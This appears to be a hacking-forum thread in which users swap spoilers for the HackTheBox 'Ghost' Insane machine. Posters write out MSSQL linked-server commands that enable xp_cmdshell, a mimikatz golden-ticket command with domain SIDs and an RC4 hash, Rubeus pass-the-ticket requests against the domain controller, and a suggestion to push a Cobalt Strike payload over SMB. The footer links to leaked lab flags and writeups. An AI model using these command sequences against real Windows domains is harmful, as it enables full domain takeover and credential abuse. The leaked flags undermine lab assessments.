Ghost - Insane
by f4k3h4ck3r - Saturday July 13, 2024 at 03:43 PM
(Jul 15, 2024, 09:59 AM)wh1t3_r4bb1t Wrote:
(Jul 15, 2024, 08:32 AM)bmoon10 Wrote:
(Jul 15, 2024, 07:40 AM)wh1t3_r4bb1t Wrote: If someone stuck with mssql, in thread missed 2 things:
SQL > enum_links
SQL > use_link [PRIMARY]
SQL > use master
SQL > exec_as_login sa
SQL > EXEC sp_configure 'show advanced options', 1
SQL > REGONFIGURE
SQL > EXEC sp_configure 'xp_cmdshell', 1
SQL > RECONFIGURE
SQL > xp_cmdshell "whoami"

In the impacket-mssqlclient utility after the 'exec_as_login sa' step use the enable_xp_cmdshell command .. it executes the same 4 lines EXEC sp_configure , RECONFIGURE etc.,

No, I was getting "let administrator enable xp_cmdshell" message after it, so need to enable it manually.
UPD. oh you mean "enable_xp_cmdshell", got it

what is the next after getting shell as mssqlserver

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Selling in HTB
Reply
(Jul 15, 2024, 11:02 AM)spamdegratis5 Wrote:
(Jul 15, 2024, 10:58 AM)bmoon10 Wrote:
(Jul 15, 2024, 10:01 AM)spamdegratis5 Wrote: I've got a hint for two different approaches, I haven't managed to exploit them, but I'll leave them here for someone smarter than me:
- In order to forge the golden ticket, the aes256 key must be used, the nt hash won't work
- Unconstrained delegation

I don't have more info, only that.


with mimikatz golden ticket can be obtained using ghost$ rc4 hash and corp.ghost.htb and ghost.htb sids.

Yeah, I know, but every ticket returns the error (both, nthash and aeskey)
[-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked)

Looking for a possible cause, maybe this is related? https://github.com/fortra/impacket/issues/1601 
Quote:When using NTLM hash of KRBTGT and Impacket's ticketer, you will need the "-user-id" flag.
Example:
impacket-ticketer -nthash $HASH -domain-sid $DOMAIN SID -domain $DOMAIN -user-id $IDofUSER $NameOfUser
To get the user-id, you just need to use Mimikatz or others like WMIC ("wmic useraccount where name='joe' get sid")

Quote:That is because Windows from the update KB5008380 got a new PAC structure and a new check: KDC now checks if the user actually exists with the right RID. So now you need to make a ticket for an existing user with right RID with the flag -user-id as earlesshoichi mentioned before.

I'll try with an existing user

Not sure from where you are getting the ghost$ rc4 hash, i've used the ghost$ rc4 hash from the meterpreter hashdump command for getting the golden ticket (with mimikatz for tgt and Rubeus.exe for tgs and it worked)
Reply
(Jul 15, 2024, 11:19 AM)bmoon10 Wrote:
(Jul 15, 2024, 11:02 AM)spamdegratis5 Wrote:
(Jul 15, 2024, 10:58 AM)bmoon10 Wrote:
(Jul 15, 2024, 10:01 AM)spamdegratis5 Wrote: I've got a hint for two different approaches, I haven't managed to exploit them, but I'll leave them here for someone smarter than me:
- In order to forge the golden ticket, the aes256 key must be used, the nt hash won't work
- Unconstrained delegation

I don't have more info, only that.


with mimikatz golden ticket can be obtained using ghost$ rc4 hash and corp.ghost.htb and ghost.htb sids.

Yeah, I know, but every ticket returns the error (both, nthash and aeskey)
[-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked)

Looking for a possible cause, maybe this is related? https://github.com/fortra/impacket/issues/1601 
Quote:When using NTLM hash of KRBTGT and Impacket's ticketer, you will need the "-user-id" flag.
Example:
impacket-ticketer -nthash $HASH -domain-sid $DOMAIN SID -domain $DOMAIN -user-id $IDofUSER $NameOfUser
To get the user-id, you just need to use Mimikatz or others like WMIC ("wmic useraccount where name='joe' get sid")

Quote:That is because Windows from the update KB5008380 got a new PAC structure and a new check: KDC now checks if the user actually exists with the right RID. So now you need to make a ticket for an existing user with right RID with the flag -user-id as earlesshoichi mentioned before.

I'll try with an existing user

Not sure from where you are getting the ghost$ rc4 hash, i've used the ghost$ rc4 hash from the meterpreter hashdump command for getting the golden ticket (with mimikatz for tgt and Rubeus.exe for tgs and it worked)

Yep it worked, I could read user.txt and root.txt. But how to get to dc01 with shell? i tryied psexec but it fails.
Reply
(Jul 15, 2024, 11:30 AM)TxX Wrote:
(Jul 15, 2024, 11:19 AM)bmoon10 Wrote:
(Jul 15, 2024, 11:02 AM)spamdegratis5 Wrote:
(Jul 15, 2024, 10:58 AM)bmoon10 Wrote:
(Jul 15, 2024, 10:01 AM)spamdegratis5 Wrote: I've got a hint for two different approaches, I haven't managed to exploit them, but I'll leave them here for someone smarter than me:
- In order to forge the golden ticket, the aes256 key must be used, the nt hash won't work
- Unconstrained delegation

I don't have more info, only that.


with mimikatz golden ticket can be obtained using ghost$ rc4 hash and corp.ghost.htb and ghost.htb sids.

Yeah, I know, but every ticket returns the error (both, nthash and aeskey)
[-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked)

Looking for a possible cause, maybe this is related? https://github.com/fortra/impacket/issues/1601 
Quote:When using NTLM hash of KRBTGT and Impacket's ticketer, you will need the "-user-id" flag.
Example:
impacket-ticketer -nthash $HASH -domain-sid $DOMAIN SID -domain $DOMAIN -user-id $IDofUSER $NameOfUser
To get the user-id, you just need to use Mimikatz or others like WMIC ("wmic useraccount where name='joe' get sid")

Quote:That is because Windows from the update KB5008380 got a new PAC structure and a new check: KDC now checks if the user actually exists with the right RID. So now you need to make a ticket for an existing user with right RID with the flag -user-id as earlesshoichi mentioned before.

I'll try with an existing user

Not sure from where you are getting the ghost$ rc4 hash, i've used the ghost$ rc4 hash from the meterpreter hashdump command for getting the golden ticket (with mimikatz for tgt and Rubeus.exe for tgs and it worked)

OK ... with this way or is something wrong?

/mimikatz "Kerberos::golden /user:Administrator /domain:corp.ghost.htb /sid:...498  /sids:...966 /rc4:..297 /service:krbtgt /target:ghost.htb /ticket:C:\temp\trust.kirbi" "exit"

./Rubeus.exe asktgs /ticket:trust.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt

966 SID seems to be different in my case. otherwise commands look perfect.
Reply
In 10.0.0.10


kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:golden.kirbi

.\rubeus.exe asktgs /ticket:golden.kirbi /service:cifs/DC01.ghost.htb /dcBig GrinC01.ghost.htb /ptt /nowrap

dir \\DC01.ghost.htb\C$

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
(Jul 15, 2024, 11:49 AM)osamy7593 Wrote: In 10.0.0.10


kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:golden.kirbi

.\rubeus.exe asktgs /ticket:golden.kirbi /service:cifs/DC01.ghost.htb /dcBig GrinC01.ghost.htb /ptt /nowrap

dir \\DC01.ghost.htb\C$

Not sure if this is the intended way to get the flags especially for a insane box. 
seems kind of easy compared to mist, corporate - insane boxes
Reply
(Jul 15, 2024, 11:49 AM)osamy7593 Wrote: In 10.0.0.10


kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:golden.kirbi

.\rubeus.exe asktgs /ticket:golden.kirbi /service:cifs/DC01.ghost.htb /dcBig GrinC01.ghost.htb /ptt /nowrap

dir \\DC01.ghost.htb\C$

im still getting error, could you please tell which commands you used?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Selling in HTB
Reply
(Jul 15, 2024, 12:02 PM)myhem Wrote:
(Jul 15, 2024, 11:49 AM)osamy7593 Wrote: In 10.0.0.10


kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:golden.kirbi

.\rubeus.exe asktgs /ticket:golden.kirbi /service:cifs/DC01.ghost.htb /dcBig GrinC01.ghost.htb /ptt /nowrap

dir \\DC01.ghost.htb\C$

im still getting error, could you please tell which commands you used?

dir \\DC01.ghost.htb\C$  returns access denied if there are issues in the tickets.
if both tgt, tgs works properly you won't face issues with the dir command.
Reply
(Jul 15, 2024, 11:35 AM)jsvensson Wrote:
(Jul 15, 2024, 11:19 AM)bmoon10 Wrote:
(Jul 15, 2024, 11:02 AM)spamdegratis5 Wrote:
(Jul 15, 2024, 10:58 AM)bmoon10 Wrote:
(Jul 15, 2024, 10:01 AM)spamdegratis5 Wrote: I've got a hint for two different approaches, I haven't managed to exploit them, but I'll leave them here for someone smarter than me:
- In order to forge the golden ticket, the aes256 key must be used, the nt hash won't work
- Unconstrained delegation

I don't have more info, only that.


with mimikatz golden ticket can be obtained using ghost$ rc4 hash and corp.ghost.htb and ghost.htb sids.

Yeah, I know, but every ticket returns the error (both, nthash and aeskey)
[-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked)

Looking for a possible cause, maybe this is related? https://github.com/fortra/impacket/issues/1601 
Quote:When using NTLM hash of KRBTGT and Impacket's ticketer, you will need the "-user-id" flag.
Example:
impacket-ticketer -nthash $HASH -domain-sid $DOMAIN SID -domain $DOMAIN -user-id $IDofUSER $NameOfUser
To get the user-id, you just need to use Mimikatz or others like WMIC ("wmic useraccount where name='joe' get sid")

Quote:That is because Windows from the update KB5008380 got a new PAC structure and a new check: KDC now checks if the user actually exists with the right RID. So now you need to make a ticket for an existing user with right RID with the flag -user-id as earlesshoichi mentioned before.

I'll try with an existing user

Not sure from where you are getting the ghost$ rc4 hash, i've used the ghost$ rc4 hash from the meterpreter hashdump command for getting the golden ticket (with mimikatz for tgt and Rubeus.exe for tgs and it worked)

Yep it worked, I could read user.txt and root.txt. But how to get to dc01 with shell? i tryied psexec but it fails.


One of the usual possibilities with Cobal Strike -- once you got full access to the dc, you may upload  your payload via smb and spawn it remotely to get access to the DC.

https://www.youtube.com/watch?v=dDAz13wmCk8
https://www.youtube.com/watch?v=GI-vvX_OBd4
https://www.youtube.com/watch?v=QuU_u-yu8Lc
Reply
(Jul 15, 2024, 12:03 PM)spamdegratis5 Wrote:
(Jul 15, 2024, 12:01 PM)bmoon10 Wrote:
(Jul 15, 2024, 11:49 AM)osamy7593 Wrote: In 10.0.0.10


kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:golden.kirbi

.\rubeus.exe asktgs /ticket:golden.kirbi /service:cifs/DC01.ghost.htb /dcBig GrinC01.ghost.htb /ptt /nowrap

dir \\DC01.ghost.htb\C$

Not sure if this is the intended way to get the flags especially for a insane box. 
seems kind of easy compared to mist, corporate - insane boxes
I thinks this is the unintended way, the intended should be related with ADFS account and justin.bradley

The concept of exploiting the bidirectional trust as such is an another AD vulnerability.
Technically corp.ghost.htb getting full access to ghost.htb seems right in this case.
only issue is the access to dc01 shell (though it might be irrelevant ?)
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] CPTS 12 FLAGS pulsebreaker 68 1,931 6 hours ago
Last Post: VictorPipeau
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 601 91,530 6 hours ago
Last Post: VictorPipeau
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 371 92,796 7 hours ago
Last Post: phannguyenbaouy1
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 21 2,613 11 hours ago
Last Post: popoler
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,268 Yesterday, 02:10 PM
Last Post: kkkato

Forum Jump:


 Users browsing this forum: 1 Guest(s)